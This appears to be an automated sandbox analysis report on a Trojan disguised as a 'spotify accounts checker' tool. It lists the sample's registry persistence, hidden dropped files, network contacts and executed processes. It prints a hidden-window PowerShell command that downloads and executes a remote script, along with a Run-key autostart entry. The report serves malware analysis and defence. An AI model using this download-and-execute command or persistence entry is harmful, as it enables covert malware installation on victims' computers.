Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] '' = '<SYSTEM32>\WindowsPowerShell\v1.0\powershell.exe -exec bypass -windo 1 -noexit -windowstyle hidden -nologo -command iex(new-object ...
Malicious functions
Downloads and executes
- http://www.an###pen.com/wp-includes/images/media/3/ps.txt
Modifies file system
Creates the following files
- %TEMP%\taskhost.exe
- %TEMP%\mwjcjmkg.dll
- %TEMP%\resb97f.tmp
- %TEMP%\lfoglwbk.pdb
- %TEMP%\vbcb9cc.tmp
- %TEMP%\mwjcjmkg.pdb
- %TEMP%\vbcb930.tmp
- %TEMP%\resb9ec.tmp
- %TEMP%\mwjcjmkg.out
- %TEMP%\mwjcjmkg.0.vb
- %TEMP%\lfoglwbk.out
- %TEMP%\lfoglwbk.cmdline
- %TEMP%\lfoglwbk.0.vb
- %TEMP%\systems.vbs
- <Current directory>\spotify accounts checker v2.020 by x-slayer .exe
- %TEMP%\mwjcjmkg.cmdline
- %TEMP%\lfoglwbk.dll
Sets the 'hidden' attribute to the following files
- %TEMP%\taskhost.exe
- <Current directory>\spotify accounts checker v2.020 by x-slayer .exe
Deletes the following files
- %TEMP%\resb97f.tmp
- %TEMP%\vbcb930.tmp
- %TEMP%\resb9ec.tmp
- %TEMP%\mwjcjmkg.out
- %TEMP%\mwjcjmkg.cmdline
- %TEMP%\mwjcjmkg.0.vb
- %TEMP%\mwjcjmkg.pdb
- %TEMP%\mwjcjmkg.dll
- %TEMP%\vbcb9cc.tmp
- %TEMP%\lfoglwbk.out
- %TEMP%\lfoglwbk.cmdline
- %TEMP%\lfoglwbk.0.vb
- %TEMP%\lfoglwbk.pdb
- %TEMP%\lfoglwbk.dll
Network activity
Connects to
- 'bl##.#apeturk.com':3333
TCP
HTTP GET requests
- http://ca###urk.com/3/link.txt
- http://www.an###pen.com/wp-includes/images/media/3/ws.txt
- http://www.an###pen.com/wp-includes/images/media/3/ps.txt
- http://www.an###pen.com/wp-includes/images/media/3/code.txt
UDP
- DNS ASK ca###urk.com
- DNS ASK an###pen.com
- DNS ASK bl##.#apeturk.com
Miscellaneous
Creates and executes the following
- '%TEMP%\taskhost.exe'
- '<Current directory>\spotify accounts checker v2.020 by x-slayer .exe'
- '<SYSTEM32>\wscript.exe' "%TEMP%\Systems.vbs"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -exec bypass -windo 1 -noexit -windowstyle hidden -nologo -command iex(new-object system.net.webclient).Downloadstring('http://www.an###pen.com/wp-includes/images/media/3/ps.txt')' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\vbc.exe' /noconfig @"%TEMP%\lfoglwbk.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\vbc.exe' /noconfig @"%TEMP%\mwjcjmkg.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESB97F.tmp" "%TEMP%\vbcB930.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESB9EC.tmp" "%TEMP%\vbcB9CC.tmp"' (with hidden window)
Executes the following
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\vbc.exe' /noconfig @"%TEMP%\lfoglwbk.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\vbc.exe' /noconfig @"%TEMP%\mwjcjmkg.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESB97F.tmp" "%TEMP%\vbcB930.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESB9EC.tmp" "%TEMP%\vbcB9CC.tmp"
